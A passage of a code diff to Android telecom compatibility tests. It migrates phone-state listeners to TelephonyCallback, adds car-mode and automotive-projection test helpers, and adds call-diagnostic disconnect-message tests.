     <uses-permission android:name="android.permission.ENTER_CAR_MODE_PRIORITIZED" />
+    <uses-permission android:name="android.permission.TOGGLE_AUTOMOTIVE_PROJECTION" />
 
     <application android:label="CarModeTestApp">
         <service android:name=".CtsCarModeInCallService"
diff --git a/tests/tests/telecom/CarModeTestAppTwo/AndroidManifest.xml b/tests/tests/telecom/CarModeTestAppTwo/AndroidManifest.xml
index 89489a3..33031ec 100644
--- a/tests/tests/telecom/CarModeTestAppTwo/AndroidManifest.xml
+++ b/tests/tests/telecom/CarModeTestAppTwo/AndroidManifest.xml
@@ -22,6 +22,7 @@
 
     <uses-permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE" />
     <uses-permission android:name="android.permission.ENTER_CAR_MODE_PRIORITIZED" />
+    <uses-permission android:name="android.permission.TOGGLE_AUTOMOTIVE_PROJECTION" />
 
     <application android:label="CarModeTestAppTwo">
         <service android:name=".CtsCarModeInCallServiceTwo"
diff --git a/tests/tests/telecom/ThirdPtyInCallServiceTestApp/AndroidManifest.xml b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/AndroidManifest.xml
index fb2298a..146cd7c 100644
--- a/tests/tests/telecom/ThirdPtyInCallServiceTestApp/AndroidManifest.xml
+++ b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/AndroidManifest.xml
@@ -15,12 +15,12 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.telecom.cts.thirdptyincallservice"
-          android:versionCode="1"
-          android:versionName="1.0" >
+     package="android.telecom.cts.thirdptyincallservice"
+     android:versionCode="1"
+     android:versionName="1.0">
 
     <!-- sdk 15 is the max for read call log -->
-    <uses-sdk android:minSdkVersion="15" />
+    <uses-sdk android:minSdkVersion="15"/>
 
     <uses-permission android:name="android.permission.READ_CALL_LOG"/>
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
@@ -29,23 +29,23 @@
 
     <application android:label="ThirdPtyCTSInCallService">
         <service android:name=".CtsThirdPartyInCallService"
-                 android:permission="android.permission.BIND_INCALL_SERVICE"
-                 android:launchMode="singleInstance"
-                 android:exported="true">
+             android:permission="android.permission.BIND_INCALL_SERVICE"
+             android:launchMode="singleInstance"
+             android:exported="true">
             <!--  indicates it's a non-UI service, required by non-Ui InCallService -->
             <intent-filter>
                 <action android:name="android.telecom.InCallService"/>
             </intent-filter>
             <meta-data android:name="android.telecom.INCLUDE_EXTERNAL_CALLS"
-                       android:value="true" />
+                       android:value="true"/>
             <meta-data android:name="android.telecom.INCLUDE_SELF_MANAGED_CALLS"
                        android:value="true" />
         </service>
         <service android:name=".CtsThirdPartyInCallServiceControl"
-                 android:launchMode="singleInstance">
+             android:launchMode="singleInstance"
+             android:exported="true">
             <intent-filter>
-                <action
-                    android:name="android.telecom.cts.thirdptyincallservice.ACTION_THIRDPTY_CTRL"/>
+                <action android:name="android.telecom.cts.thirdptyincallservice.ACTION_THIRDPTY_CTRL"/>
             </intent-filter>
         </service>
     </application>
diff --git a/tests/tests/telecom/aidl/android/telecom/cts/carmodetestapp/ICtsCarModeInCallServiceControl.aidl b/tests/tests/telecom/aidl/android/telecom/cts/carmodetestapp/ICtsCarModeInCallServiceControl.aidl
index 5336d81..5357afb 100644
--- a/tests/tests/telecom/aidl/android/telecom/cts/carmodetestapp/ICtsCarModeInCallServiceControl.aidl
+++ b/tests/tests/telecom/aidl/android/telecom/cts/carmodetestapp/ICtsCarModeInCallServiceControl.aidl
@@ -24,5 +24,7 @@
     void enableCarMode(int priority);
     void disableCarMode();
     void disconnectCalls();
+    boolean requestAutomotiveProjection();
+    void releaseAutomotiveProjection();
     boolean checkBindStatus(boolean bind);
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java b/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java
index e01b12b..4272af0 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java
@@ -69,8 +69,6 @@
     protected void tearDown() throws Exception {
         if (mShouldTestTelecom && !TextUtils.isEmpty(mPreviousDefaultDialer)) {
             TestUtils.setDefaultDialer(getInstrumentation(), mPreviousDefaultDialer);
-            mTelecomManager.unregisterPhoneAccount(TEST_PHONE_ACCOUNT_HANDLE);
-            CtsConnectionService.tearDown();
             MockCallScreeningService.disableService(mContext);
         }
         super.tearDown();
diff --git a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
index b2c2539..8c8cd05 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
@@ -25,6 +25,8 @@
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertThat;
 
+import android.app.AppOpsManager;
+import android.app.UiAutomation;
 import android.app.UiModeManager;
 import android.content.Context;
 import android.content.Intent;
@@ -37,6 +39,9 @@
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.os.Looper;
+import android.os.RemoteException;
+import android.os.Process;
+import android.os.UserHandle;
 import android.provider.CallLog;
 import android.telecom.Call;
 import android.telecom.CallAudioState;
@@ -49,7 +54,9 @@
 import android.telecom.TelecomManager;
 import android.telecom.VideoProfile;
 import android.telecom.cts.MockInCallService.InCallServiceCallbacks;
+import android.telecom.cts.carmodetestapp.ICtsCarModeInCallServiceControl;
 import android.telephony.PhoneStateListener;
+import android.telephony.TelephonyCallback;
 import android.telephony.TelephonyManager;
 import android.telephony.emergency.EmergencyNumber;
 import android.test.InstrumentationTestCase;
@@ -57,6 +64,8 @@
 import android.util.Log;
 import android.util.Pair;
 
+import androidx.test.InstrumentationRegistry;
+
 import com.android.compatibility.common.util.ShellIdentityUtils;
 
 import java.util.ArrayList;
@@ -68,6 +77,7 @@
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
 
 /**
  * Base class for Telecom CTS tests that require a {@link CtsConnectionService} and
@@ -84,6 +94,9 @@
 
     public static final String TEST_EMERGENCY_NUMBER = "5553637";
     public static final Uri TEST_EMERGENCY_URI = Uri.fromParts("tel", TEST_EMERGENCY_NUMBER, null);
+    public static final String PKG_NAME = "android.telecom.cts";
+    public static final String PERMISSION_PROCESS_OUTGOING_CALLS =
+            "android.permission.PROCESS_OUTGOING_CALLS";
 
     Context mContext;
     TelecomManager mTelecomManager;
@@ -116,25 +129,109 @@
     MockConnectionService connectionService = null;
     boolean mIsEmergencyCallingSetup = false;
 
-    HandlerThread mPhoneStateListenerThread;
-    Handler mPhoneStateListenerHandler;
-    TestPhoneStateListener mPhoneStateListener;
+    HandlerThread mTelephonyCallbackThread;
+    Handler mTelephonyCallbackHandler;
+    TestTelephonyCallback mTelephonyCallback;
+    TestCallStateListener mTestCallStateListener;
     Handler mHandler;
 
-    static class TestPhoneStateListener extends PhoneStateListener {
+    /**
+     * Uses the control interface to disable car mode.
+     * @param expectedUiMode
+     */
+    protected void disableAndVerifyCarMode(ICtsCarModeInCallServiceControl control,
+            int expectedUiMode) {
+        if (control == null) {
+            return;
+        }
+        try {
+            control.disableCarMode();
+        } catch (RemoteException re) {
+            fail("Bee-boop; can't control the incall service");
+        }
+        assertUiMode(expectedUiMode);
+    }
+
+    protected void disconnectAllCallsAndVerify(ICtsCarModeInCallServiceControl controlBinder) {
+        if (controlBinder == null) {
+            return;
+        }
+        try {
+            controlBinder.disconnectCalls();
+        } catch (RemoteException re) {
+            fail("Bee-boop; can't control the incall service");
+        }
+        assertCarModeCallCount(controlBinder, 0);
+    }
+
+    /**
+     * Verify the car mode ICS has an expected call count.
+     * @param expected
+     */
+    protected void assertCarModeCallCount(ICtsCarModeInCallServiceControl control, int expected) {
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return expected;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        int callCount = 0;
+                        try {
+                            callCount = control.getCallCount();
+                        } catch (RemoteException re) {
+                            fail("Bee-boop; can't control the incall service");
+                        }
+                        return callCount;
+                    }
+                },
+                WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                "Expected " + expected + " calls."
+        );
+    }
+
+    static class TestCallStateListener extends TelephonyCallback
+            implements TelephonyCallback.CallStateListener {
+
+        private CountDownLatch mCountDownLatch = new CountDownLatch(1);
+        private int mLastState = -1;
+
+        @Override
+        public void onCallStateChanged(int state) {
+            Log.i(TAG, "onCallStateChanged: state=" + state);
+            mLastState = state;
+            mCountDownLatch.countDown();
+            mCountDownLatch = new CountDownLatch(1);
+        }
+
+        public CountDownLatch getCountDownLatch() {
+            return mCountDownLatch;
+        }
+
+        public int getLastState() {
+            return mLastState;
+        }
+    }
+
+    static class TestTelephonyCallback extends TelephonyCallback implements
+            TelephonyCallback.CallStateListener,
+            TelephonyCallback.OutgoingEmergencyCallListener,
+            TelephonyCallback.EmergencyNumberListListener {
         /** Semaphore released for every callback invocation. */
         public Semaphore mCallbackSemaphore = new Semaphore(0);
 
-        List<Pair<Integer, String>> mCallStates = new ArrayList<>();
+        List<Integer> mCallStates = new ArrayList<>();
         EmergencyNumber mLastOutgoingEmergencyNumber;
 
         LinkedBlockingQueue<Map<Integer, List<EmergencyNumber>>> mEmergencyNumberListQueue =
                new LinkedBlockingQueue<>(2);
 
         @Override
-        public void onCallStateChanged(int state, String number) {
-            Log.i(TAG, "onCallStateChanged: state=" + state + ", number=" + number);
-            mCallStates.add(Pair.create(state, number));
+        public void onCallStateChanged(int state) {
+            Log.i(TAG, "onCallStateChanged: state=" + state);
+            mCallStates.add(state);
             mCallbackSemaphore.release();
         }
 
@@ -175,11 +272,14 @@
         // A failure to leave car mode in any of the tests would cause subsequent test failures,
         // but this failure should not affect other tests.
         mUiModeManager = mContext.getSystemService(UiModeManager.class);
-        if (mUiModeManager.getCurrentModeType() == Configuration.UI_MODE_TYPE_CAR) {
-            mUiModeManager.disableCarMode(0);
-        }
+        TestUtils.executeShellCommand(getInstrumentation(), "telecom reset-car-mode");
         assertUiMode(Configuration.UI_MODE_TYPE_NORMAL);
 
+        AppOpsManager aom = mContext.getSystemService(AppOpsManager.class);
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(aom,
+                (appOpsMan) -> appOpsMan.setUidMode(AppOpsManager.OPSTR_PROCESS_OUTGOING_CALLS,
+                Process.myUid(), AppOpsManager.MODE_ALLOWED));
+
         mTelecomManager = (TelecomManager) mContext.getSystemService(Context.TELECOM_SERVICE);
         mTelephonyManager = (TelephonyManager) mContext.getSystemService(Context.TELEPHONY_SERVICE);
 
@@ -187,27 +287,25 @@
         TestUtils.setDefaultDialer(getInstrumentation(), PACKAGE);
         setupCallbacks();
 
-        // PhoneStateListener's public API registers the listener on the calling thread, which must
-        // be a looper thread. So we need to create and register the listener in a custom looper
-        // thread.
-        mPhoneStateListenerThread = new HandlerThread("PhoneStateListenerThread");
-        mPhoneStateListenerThread.start();
-        mPhoneStateListenerHandler = new Handler(mPhoneStateListenerThread.getLooper());
-        final CountDownLatch registeredLatch = new CountDownLatch(1);
-        mPhoneStateListenerHandler.post(new Runnable() {
-            @Override
-            public void run() {
-                mPhoneStateListener = new TestPhoneStateListener();
-                ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
-                    (tm) -> tm.listen(mPhoneStateListener,
-                        PhoneStateListener.LISTEN_CALL_STATE
-                                | PhoneStateListener.LISTEN_OUTGOING_EMERGENCY_CALL
-                                | PhoneStateListener.LISTEN_EMERGENCY_NUMBER_LIST));
-                registeredLatch.countDown();
-            }
-        });
-        registeredLatch.await(
+       // Register a call state listener.
+        mTestCallStateListener = new TestCallStateListener();
+        mTelephonyManager.registerTelephonyCallback(r -> r.run(), mTestCallStateListener);
+        mTestCallStateListener.getCountDownLatch().await(
                 TestUtils.WAIT_FOR_PHONE_STATE_LISTENER_REGISTERED_TIMEOUT_S, TimeUnit.SECONDS);
+        // Create a new thread for the telephony callback.
+        mTelephonyCallbackThread = new HandlerThread("PhoneStateListenerThread");
+        mTelephonyCallbackThread.start();
+        mTelephonyCallbackHandler = new Handler(mTelephonyCallbackThread.getLooper());
+
+        mTelephonyCallback = new TestTelephonyCallback();
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                (tm) -> tm.registerTelephonyCallback(
+                        mTelephonyCallbackHandler::post,
+                        mTelephonyCallback));
+        UiAutomation uiAutomation =
+                InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        uiAutomation.grantRuntimePermissionAsUser(PKG_NAME, PERMISSION_PROCESS_OUTGOING_CALLS,
+                UserHandle.CURRENT);
     }
 
     @Override
@@ -217,17 +315,10 @@
             return;
         }
 
-        final CountDownLatch unregisteredLatch = new CountDownLatch(1);
-        mPhoneStateListenerHandler.post(new Runnable() {
-            @Override
-            public void run() {
-                mTelephonyManager.listen(mPhoneStateListener, PhoneStateListener.LISTEN_NONE);
-                unregisteredLatch.countDown();
-            }
-        });
-        unregisteredLatch.await(
-                TestUtils.WAIT_FOR_PHONE_STATE_LISTENER_REGISTERED_TIMEOUT_S, TimeUnit.SECONDS);
-        mPhoneStateListenerThread.quit();
+        mTelephonyManager.unregisterTelephonyCallback(mTestCallStateListener);
+
+        mTelephonyManager.unregisterTelephonyCallback(mTelephonyCallback);
+        mTelephonyCallbackThread.quit();
 
         cleanupCalls();
         if (!TextUtils.isEmpty(mPreviousDefaultDialer)) {
@@ -244,10 +335,15 @@
             TestUtils.executeShellCommand(getInstrumentation(), "telecom cleanup-stuck-calls");
             throw t;
         }
+        UiAutomation uiAutomation =
+                InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        uiAutomation.revokeRuntimePermissionAsUser(PKG_NAME, PERMISSION_PROCESS_OUTGOING_CALLS,
+                UserHandle.CURRENT);
     }
 
     protected PhoneAccount setupConnectionService(MockConnectionService connectionService,
             int flags) throws Exception {
+        Log.i(TAG, "Setting up mock connection service");
         if (connectionService != null) {
             this.connectionService = connectionService;
         } else {
@@ -278,6 +374,7 @@
     }
 
     protected void tearDownConnectionService(PhoneAccountHandle accountHandle) throws Exception {
+        Log.i(TAG, "Tearing down mock connection service");
         if (this.connectionService != null) {
             assertNumConnections(this.connectionService, 0);
         }
@@ -480,13 +577,9 @@
         extras.putParcelable(TelecomManager.EXTRA_INCOMING_CALL_ADDRESS, incomingHandle);
         mTelecomManager.addNewIncomingCall(TestUtils.TEST_PHONE_ACCOUNT_HANDLE, extras);
 
-        try {
-            if (!connectionService.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
-                    TimeUnit.SECONDS)) {
-                fail("Incoming Connection failure indication did not get called.");
-            }
-        } catch (InterruptedException e) {
-            fail("InterruptedException while waiting for incoming call failure");
+        if (!connectionService.waitForEvent(
+                MockConnectionService.EVENT_CONNECTION_SERVICE_CREATE_CONNECTION_FAILED)) {
+            fail("Incoming Connection failure indication did not get called.");
         }
 
         assertEquals("ConnectionService did not receive failed connection",
@@ -697,20 +790,32 @@
     }
 
     MockConnection verifyConnectionForOutgoingCall(Uri address) {
-        try {
-            if (!connectionService.lock.tryAcquire(TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
-                    TimeUnit.MILLISECONDS)) {
-                fail("No outgoing call connection requested by Telecom");
-            }
-        } catch (InterruptedException e) {
-            Log.i(TAG, "Test interrupted!");
+        if (!connectionService.waitForEvent(
+                MockConnectionService.EVENT_CONNECTION_SERVICE_CREATE_CONNECTION)) {
+            fail("No outgoing call connection requested by Telecom");
         }
-
         assertThat("Telecom should create outgoing connection for outgoing call",
                 connectionService.outgoingConnections.size(), not(equalTo(0)));
+
+        // There is a subtle race condition in ConnectionService.  When onCreateIncomingConnection
+        // or onCreateOutgoingConnection completes, ConnectionService then adds the connection to
+        // the list of tracked connections.  It's very possible for the lock to be released and
+        // the connection to have not yet been added to the connection list yet.
+        waitUntilConditionIsTrueOrTimeout(new Condition() {
+                                              @Override
+                                              public Object expected() {
+                                                  return true;
+                                              }
+
+                                              @Override
+                                              public Object actual() {
+                                                  return getConnection(address) != null;
+                                              }
+                                          },
+                WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                "Expected call from number " + address);
         Connection connection = getConnection(address);
-        assertNotNull("Could not find outgoing connection in list of active connections.",
-                connection);
+
         if (connection instanceof MockConnection) {
             if (connectionService.outgoingConnections.contains(connection)) {
                 return (MockConnection) connection;
@@ -862,9 +967,15 @@
         assertConferenceState(conference, Connection.STATE_ACTIVE);
     }
 
+    void verifyCallStateListener(int expectedCallState) throws InterruptedException {
+        mTestCallStateListener.getCountDownLatch().await(
+                TestUtils.WAIT_FOR_PHONE_STATE_LISTENER_CALLBACK_TIMEOUT_S, TimeUnit.SECONDS);
+        assertEquals(expectedCallState, mTestCallStateListener.getLastState());
+    }
+
     void verifyPhoneStateListenerCallbacksForCall(int expectedCallState, String expectedNumber)
             throws Exception {
-        assertTrue(mPhoneStateListener.mCallbackSemaphore.tryAcquire(
+        assertTrue(mTelephonyCallback.mCallbackSemaphore.tryAcquire(
                 TestUtils.WAIT_FOR_PHONE_STATE_LISTENER_CALLBACK_TIMEOUT_S, TimeUnit.SECONDS));
         // At this point we can only be sure that we got AN update, but not necessarily the one we
         // are looking for; wait until we see the state we want before verifying further.
@@ -876,12 +987,9 @@
 
                                               @Override
                                               public Object actual() {
-                                                  return mPhoneStateListener.mCallStates
+                                                  return mTelephonyCallback.mCallStates
                                                           .stream()
-                                                          .filter(p -> p.first.equals(
-                                                                  expectedCallState)
-                                                                  && p.second.equals(
-                                                                  expectedNumber))
+                                                          .filter(p -> p == expectedCallState)
                                                           .count() > 0;
                                               }
                                           },
@@ -893,9 +1001,9 @@
         // Get the most recent callback; it is possible that there was an initial state reported due
         // to the fact that TelephonyManager will sometimes give an initial state back to the caller
         // when the listener is registered.
-        Pair<Integer, String> callState = mPhoneStateListener.mCallStates.get(
-                mPhoneStateListener.mCallStates.size() - 1);
-        assertEquals(expectedCallState, (int) callState.first);
+        int callState = mTelephonyCallback.mCallStates.get(
+                mTelephonyCallback.mCallStates.size() - 1);
+        assertEquals(expectedCallState, callState);
         // Note: We do NOT check the phone number here.  Due to changes in how the phone state
         // broadcast is sent, the caller may receive multiple broadcasts, and the number will be
         // present in one or the other.  We waited for a full matching broadcast above so we can
@@ -904,7 +1012,7 @@
 
     void verifyPhoneStateListenerCallbacksForEmergencyCall(String expectedNumber)
         throws Exception {
-        assertTrue(mPhoneStateListener.mCallbackSemaphore.tryAcquire(
+        assertTrue(mTelephonyCallback.mCallbackSemaphore.tryAcquire(
             TestUtils.WAIT_FOR_PHONE_STATE_LISTENER_CALLBACK_TIMEOUT_S, TimeUnit.SECONDS));
         // At this point we can only be sure that we got AN update, but not necessarily the one we
         // are looking for; wait until we see the state we want before verifying further.
@@ -916,9 +1024,9 @@
 
                                               @Override
                                               public Object actual() {
-                                                  return mPhoneStateListener
+                                                  return mTelephonyCallback
                                                       .mLastOutgoingEmergencyNumber != null
-                                                      && mPhoneStateListener
+                                                      && mTelephonyCallback
                                                       .mLastOutgoingEmergencyNumber.getNumber()
                                                       .equals(expectedNumber);
                                               }
@@ -926,7 +1034,7 @@
             WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
             "Expected emergency number: " + expectedNumber);
 
-        assertEquals(mPhoneStateListener.mLastOutgoingEmergencyNumber.getNumber(),
+        assertEquals(mTelephonyCallback.mLastOutgoingEmergencyNumber.getNumber(),
             expectedNumber);
     }
 
@@ -1255,16 +1363,17 @@
                 new Condition() {
                     @Override
                     public Object expected() {
-                        return state;
+                        return true;
                     }
 
                     @Override
                     public Object actual() {
-                        return call.getState();
+                        return call.getState() == state && call.getDetails().getState() == state;
                     }
                 },
                 WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
-                "Call: " + call + " should be in state " + state
+                "Expected state: " + state + ", callState=" + call.getState() + ", detailState="
+                    + call.getDetails().getState()
         );
     }
 
diff --git a/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java b/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
index f3455e6..c4350fa 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
@@ -296,6 +296,9 @@
         mConnection.setConnectionProperties(Connection.PROPERTY_REMOTELY_HOSTED);
         // Not propagated
         assertCallProperties(mCall, 0);
+
+        mConnection.setConnectionProperties(Connection.PROPERTY_CROSS_SIM);
+        assertCallProperties(mCall, Call.Details.PROPERTY_CROSS_SIM);
     }
 
     /**
@@ -496,7 +499,7 @@
 
         // EXTRA_INCOMING_PICTURE
         Uri testIncomingPictureUrl = Uri.parse("content://carrier.xyz/picture1");
-        exampleExtras.putParcelable(TelecomManager.EXTRA_INCOMING_PICTURE, testIncomingPictureUrl);
+        exampleExtras.putParcelable(TelecomManager.EXTRA_PICTURE_URI, testIncomingPictureUrl);
 
         // EXTRA_OUTGOING_PICTURE
         ParcelUuid testOutgoingPicture = ParcelUuid.fromString("11111111-2222-3333-4444-55555555");
@@ -533,7 +536,7 @@
         assertEquals(longitude, testGetLocation.getLongitude(), 0);
         assertEquals(true, exampleExtras.getBoolean(TelecomManager.EXTRA_HAS_PICTURE));
         assertEquals(testIncomingPictureUrl,
-                exampleExtras.getParcelable(TelecomManager.EXTRA_INCOMING_PICTURE));
+                exampleExtras.getParcelable(TelecomManager.EXTRA_PICTURE_URI));
         assertEquals(testOutgoingPicture,
                 exampleExtras.getParcelable(TelecomManager.EXTRA_OUTGOING_PICTURE));
     }
diff --git a/tests/tests/telecom/src/android/telecom/cts/CallDiagnosticServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/CallDiagnosticServiceTest.java
index e1c2783..5e2a99c 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CallDiagnosticServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CallDiagnosticServiceTest.java
@@ -26,14 +26,18 @@
 import android.telecom.BluetoothCallQualityReport;
 import android.telecom.Call;
 import android.telecom.CallAudioState;
+import android.telecom.CallDiagnostics;
 import android.telecom.Connection;
-import android.telecom.DiagnosticCall;
+import android.telecom.DisconnectCause;
 import android.telecom.TelecomManager;
+import android.telephony.CallQuality;
+import android.telephony.TelephonyManager;
 
 import java.util.concurrent.TimeUnit;
 
 public class CallDiagnosticServiceTest extends BaseTelecomTestWithMockServices {
     private static final String POOR_CALL_MESSAGE = "Can you hear me?";
+    private static final String OVERRIDE_MESSAGE = "Whoopsie doodles; call dropped.  Oh well.";
     private static final int POOR_MESSAGE_ID = 90210;
     private TelecomManager mTelecomManager;
     private MockConnection mConnection;
@@ -60,9 +64,12 @@
 
     @Override
     protected void tearDown() throws Exception {
-        super.tearDown();
-
+        if (mConnection != null ) {
+            mConnection.onDisconnect();
+            mConnection.destroy();
+        }
         TestUtils.setCallDiagnosticService(getInstrumentation(), "default");
+        super.tearDown();
     }
 
     /**
@@ -76,7 +83,7 @@
         setupCall();
 
         assertEquals(1, mService.getCalls().size());
-        final CtsCallDiagnosticService.CtsDiagnosticCall diagnosticCall =
+        final CtsCallDiagnosticService.CtsCallDiagnostics diagnosticCall =
                 mService.getCalls().get(0);
 
         // Add an extra to the connection and verify CDS gets it.
@@ -97,8 +104,6 @@
                         Connection.EXTRA_AUDIO_CODEC) == Connection.AUDIO_CODEC_AMR_WB;
             }
         }, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS, "Extras propagation");
-
-        mConnection.onDisconnect();
     }
 
     /**
@@ -129,10 +134,14 @@
         // Disconnect the first call.
         mConnection.onDisconnect();
         mConnection.destroy();
+        mConnection = null;
 
         mService.getCallChangeLatch().await(TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
                 TimeUnit.MILLISECONDS);
         assertEquals(1, mService.getCalls().size());
+
+        connection.onDisconnect();
+        connection.destroy();
     }
 
 
@@ -161,8 +170,6 @@
         mService.getBluetoothCallQualityReportLatch().await(
                 TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS, TimeUnit.MILLISECONDS);
         assertEquals(report, mService.getBluetoothCallQualityReport());
-
-        mConnection.onDisconnect();
     }
 
     /**
@@ -195,17 +202,17 @@
 
         Bundle message = new Bundle();
         message.putInt(Connection.EXTRA_DEVICE_TO_DEVICE_MESSAGE_TYPE,
-                DiagnosticCall.MESSAGE_CALL_NETWORK_TYPE);
+                CallDiagnostics.MESSAGE_CALL_NETWORK_TYPE);
         message.putInt(Connection.EXTRA_DEVICE_TO_DEVICE_MESSAGE_VALUE,
-                DiagnosticCall.NETWORK_TYPE_NR);
+                TelephonyManager.NETWORK_TYPE_LTE);
         mConnection.sendConnectionEvent(Connection.EVENT_DEVICE_TO_DEVICE_MESSAGE, message);
 
-        CtsCallDiagnosticService.CtsDiagnosticCall diagnosticCall = mService.getCalls().get(0);
+        CtsCallDiagnosticService.CtsCallDiagnostics diagnosticCall = mService.getCalls().get(0);
         diagnosticCall.getReceivedMessageLatch().await(TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
                 TimeUnit.MILLISECONDS);
-        assertEquals(DiagnosticCall.MESSAGE_CALL_NETWORK_TYPE,
+        assertEquals(CallDiagnostics.MESSAGE_CALL_NETWORK_TYPE,
                 diagnosticCall.getMessageType());
-        assertEquals(DiagnosticCall.NETWORK_TYPE_NR,
+        assertEquals(TelephonyManager.NETWORK_TYPE_LTE,
                 diagnosticCall.getMessageValue());
     }
 
@@ -219,9 +226,9 @@
         }
         setupCall();
 
-        CtsCallDiagnosticService.CtsDiagnosticCall diagnosticCall = mService.getCalls().get(0);
-        diagnosticCall.sendDeviceToDeviceMessage(DiagnosticCall.MESSAGE_DEVICE_BATTERY_STATE,
-                DiagnosticCall.BATTERY_STATE_LOW);
+        CtsCallDiagnosticService.CtsCallDiagnostics diagnosticCall = mService.getCalls().get(0);
+        diagnosticCall.sendDeviceToDeviceMessage(CallDiagnostics.MESSAGE_DEVICE_BATTERY_STATE,
+                CallDiagnostics.BATTERY_STATE_LOW);
 
         final TestUtils.InvokeCounter counter = mConnection.getInvokeCounter(
                 MockConnection.ON_CALL_EVENT);
@@ -233,8 +240,8 @@
         assertNotNull(extras);
         int messageType = extras.getInt(Connection.EXTRA_DEVICE_TO_DEVICE_MESSAGE_TYPE);
         int messageValue = extras.getInt(Connection.EXTRA_DEVICE_TO_DEVICE_MESSAGE_VALUE);
-        assertEquals(DiagnosticCall.MESSAGE_DEVICE_BATTERY_STATE, messageType);
-        assertEquals(DiagnosticCall.BATTERY_STATE_LOW, messageValue);
+        assertEquals(CallDiagnostics.MESSAGE_DEVICE_BATTERY_STATE, messageType);
+        assertEquals(CallDiagnostics.BATTERY_STATE_LOW, messageValue);
     }
 
     /**
@@ -247,7 +254,7 @@
         }
         setupCall();
 
-        CtsCallDiagnosticService.CtsDiagnosticCall diagnosticCall = mService.getCalls().get(0);
+        CtsCallDiagnosticService.CtsCallDiagnostics diagnosticCall = mService.getCalls().get(0);
         diagnosticCall.displayDiagnosticMessage(POOR_MESSAGE_ID, POOR_CALL_MESSAGE);
 
         mOnConnectionEventCounter.waitForCount(1, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
@@ -271,7 +278,7 @@
         }
         setupCall();
 
-        CtsCallDiagnosticService.CtsDiagnosticCall diagnosticCall = mService.getCalls().get(0);
+        CtsCallDiagnosticService.CtsCallDiagnostics diagnosticCall = mService.getCalls().get(0);
         diagnosticCall.clearDiagnosticMessage(POOR_MESSAGE_ID);
 
         mOnConnectionEventCounter.waitForCount(1, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
@@ -284,6 +291,81 @@
     }
 
     /**
+     * Test not overriding the disconnect message.
+     * @throws InterruptedException
+     */
+    public void testSetNullDisconnectMessage() throws InterruptedException {
+        if (!shouldTestTelecom(mContext)) {
+            return;
+        }
+        setupCall();
+        mService.setDisconnectMessage(null);
+        mConnection.setDisconnected(new DisconnectCause(DisconnectCause.ERROR));
+        mConnection.destroy();
+        CtsCallDiagnosticService.CtsCallDiagnostics diagnosticCall = mService.getCalls().get(0);
+        diagnosticCall.getDisconnectLatch().await(TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                TimeUnit.MILLISECONDS);
+
+        assertCallState(mCall, Call.STATE_DISCONNECTED);
+        assertNull(mCall.getDetails().getDisconnectCause().getLabel());
+        assertNull(mCall.getDetails().getDisconnectCause().getDescription());
+    }
+
+    /**
+     * Test override the disconnect message.
+     * @throws InterruptedException
+     */
+    public void testOverrideDisconnectMessage() throws InterruptedException {
+        if (!shouldTestTelecom(mContext)) {
+            return;
+        }
+        setupCall();
+        mService.setDisconnectMessage(OVERRIDE_MESSAGE);
+        mConnection.setDisconnected(new DisconnectCause(DisconnectCause.ERROR));
+        mConnection.destroy();
+        CtsCallDiagnosticService.CtsCallDiagnostics diagnosticCall = mService.getCalls().get(0);
+        diagnosticCall.getDisconnectLatch().await(TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                TimeUnit.MILLISECONDS);
+
+        assertCallState(mCall, Call.STATE_DISCONNECTED);
+        assertEquals(OVERRIDE_MESSAGE, mCall.getDetails().getDisconnectCause().getLabel());
+        assertEquals(OVERRIDE_MESSAGE, mCall.getDetails().getDisconnectCause().getDescription());
+    }
+
+    /**
+     * Test call quality report received.
+     * @throws InterruptedException
+     */
